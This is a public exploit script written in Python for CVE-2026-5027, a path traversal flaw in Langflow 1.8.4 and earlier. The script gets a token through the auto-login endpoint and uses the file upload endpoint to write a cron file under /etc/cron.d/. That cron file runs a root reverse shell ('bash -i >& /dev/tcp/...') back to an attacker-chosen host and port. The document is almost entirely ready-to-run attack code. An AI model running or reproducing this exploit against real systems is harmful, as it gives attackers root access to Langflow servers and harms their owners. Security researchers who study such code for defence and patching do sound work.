Langflow 1.8.4 Path Traversal / Remote Code Execution

# Exploit Title: Langflow  1.8.4 - Path Traversal to Remote Code Execution 
    # Google Dork: N/A
    # Date: 2026-07-20
    # Exploit Author: cardosource
    # Vendor Homepage: https://www.langflow.org/
    # Software Link: https://github.com/langflow-ai/langflow
    # Version: <= 1.8.4
    # Tested on: Docker - Ubuntu 22.04 + Langflow 1.8.4
    # CVE: CVE-2026-5027
    
    """
    Langflow <= 1.8.4 - CVE-2026-5027
    Path Traversal leading to Remote Code Execution (RCE)
    
    The vulnerability allows an authenticated attacker to abuse a path traversal
    in the file upload endpoint to write arbitrary files outside the intended
    directory. By writing a cron job under /etc/cron.d/, arbitrary commands can
    be executed with root privileges, resulting in Remote Code Execution.
    
    The exploit:
    1. Obtains an access token via the auto-login endpoint.
    2. Abuses path traversal in the file upload endpoint.
    3. Writes a malicious cron job to /etc/cron.d/.
    4. Waits for cron to execute the reverse shell payload.
    """
    
    import warnings
    import requests
    import sys
    import time
    import re
    from typing import Optional, Tuple, Dict, Any
    from pathlib import PurePosixPath
    
    
    def create_config(
        target: str = "http://localhost:9013",
        lhost: str = "192.168.1.100",
        lport: int = 4444
    ) -> Dict[str, Any]:
        return {
            "target": target.rstrip('/'),
            "lhost": lhost,
            "lport": lport,
            "traversal_depth": 9,
            "endpoint": "/api/v2/files",
            "auth_endpoint": "/api/v1/auto_login"
        }
    
    
    
    
    def create_session() -> requests.Session:
        session = requests.Session()
        session.verify = False
        return session
    
    
    def authenticate(config: Dict[str, Any], session: requests.Session) -> Optional[str]:
        try:
            response = session.get(
                f"{config['target']}{config['auth_endpoint']}",
                timeout=10
            )
            if response.status_code == 200:
                return response.json().get("access_token")
        except (requests.RequestException, KeyError, ValueError):
            pass
        return None
    
    def sanitize_hostname(host: str) -> str:
        return re.sub(r"[^A-Za-z0-9_-]", "_", host)
    
    
    def generate_timestamp() -> str:
        return time.strftime("%Y%m%d%H%M%S")
    
    
    def build_cron_path(lhost: str, lport: int) -> str:
    
        timestamp = generate_timestamp()
        safe_host = sanitize_hostname(lhost)
        return f"/etc/cron.d/langflow_{safe_host}_{lport}_{timestamp}_."
    
    
    def build_traversal_path(remote_path: str, depth: int = 9) -> str:
        path = PurePosixPath(remote_path)
        return "../" * depth + str(path).lstrip("/")
    
    
    def build_cron_content(lhost: str, lport: int) -> str:
        return f"""SHELL=/bin/bash
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
    """
    
    def upload_file(
        config: Dict[str, Any],
        session: requests.Session,
        token: str,
        remote_path: str,
        content: bytes
    ) -> Tuple[bool, Optional[Dict[str, Any]]]:
        filename = build_traversal_path(remote_path, config['traversal_depth'])
        headers = {"Authorization": f"Bearer {token}"}
        files = {'file': (filename, content, 'application/octet-stream')}
        
        try:
            response = session.post(
                f"{config['target']}{config['endpoint']}",
                headers=headers,
                files=files,
                timeout=15
            )
            if response.status_code in (200, 201):
                return True, response.json()
        except requests.RequestException:
            pass
        return False, None
    
    
    def deploy_reverse_shell(
        config: Dict[str, Any],
        session: requests.Session,
        token: str
    ) -> Tuple[bool, str]:
        cron_path = build_cron_path(config['lhost'], config['lport'])
        cron_content = build_cron_content(config['lhost'], config['lport'])
        
        success, response_data = upload_file(
            config, session, token, cron_path, cron_content.encode()
        )
        
        if success:
            return True, cron_path
        return False, cron_path
    
    
    def print_success(lhost: str, lport: int, cron_path: str) -> None:
        print(f"[+] Cron job deployed to {cron_path}")
        print(f"[+] Reverse shell incoming on {lhost}:{lport}")
    
    def print_failure(message: str = "Exploit failed") -> None:
        print(f"[-] {message}")
    
    
    def print_token(token: str) -> None:
        print(f"[+] Token obtained: {token[:40]}...")
    
    
    def print_config(config: Dict[str, Any]) -> None:
        print(f"[*] Target: {config['target']}")
        print(f"[*] Listener: {config['lhost']}:{config['lport']}")
    
    def validate_config(config: Dict[str, Any]) -> bool:
        if not config['target'].startswith(("http://", "https://")):
            print_failure("Target must start with http:// or https://")
            return False
        if config['lport'] < 1 or config['lport'] > 65535:
            print_failure("Port must be between 1 and 65535")
            return False
        if config['traversal_depth'] < 1:
            print_failure("Traversal depth must be at least 1")
            return False
        return True
    
    
    def authenticate_pipeline(config: Dict[str, Any]) -> Tuple[bool, Optional[str], requests.Session]:
        session = create_session()
        print("[*] Authenticating...")
        token = authenticate(config, session)
        
        if not token:
            session.close()
            return False, None, session
        
        print_token(token)
        return True, token, session
    
    
    def deploy_pipeline(config: Dict[str, Any], session: requests.Session, token: str) -> bool:
        print("[*] Deploying reverse shell...")
        success, cron_path = deploy_reverse_shell(config, session, token)
        if success:
            print_success(config['lhost'], config['lport'], cron_path)
            return True
        
        print_failure()
        return False
    
    
    def exploit(
        target: str = "http://localhost:9013",
        lhost: str = "192.168.1.38",
        lport: int = 4444
    ) -> None:
        config = create_config(target, lhost, lport)
        print_config(config)
        
        if not validate_config(config):
            sys.exit(1)
        
        success, token, session = authenticate_pipeline(config)
        if not success:
            sys.exit(1)
        
        try:
            if not deploy_pipeline(config, session, token):
                sys.exit(1)
        finally:
            session.close()
        
        print("[+] Exploit completed successfully")
    
    
    if __name__ == "__main__":
        exploit()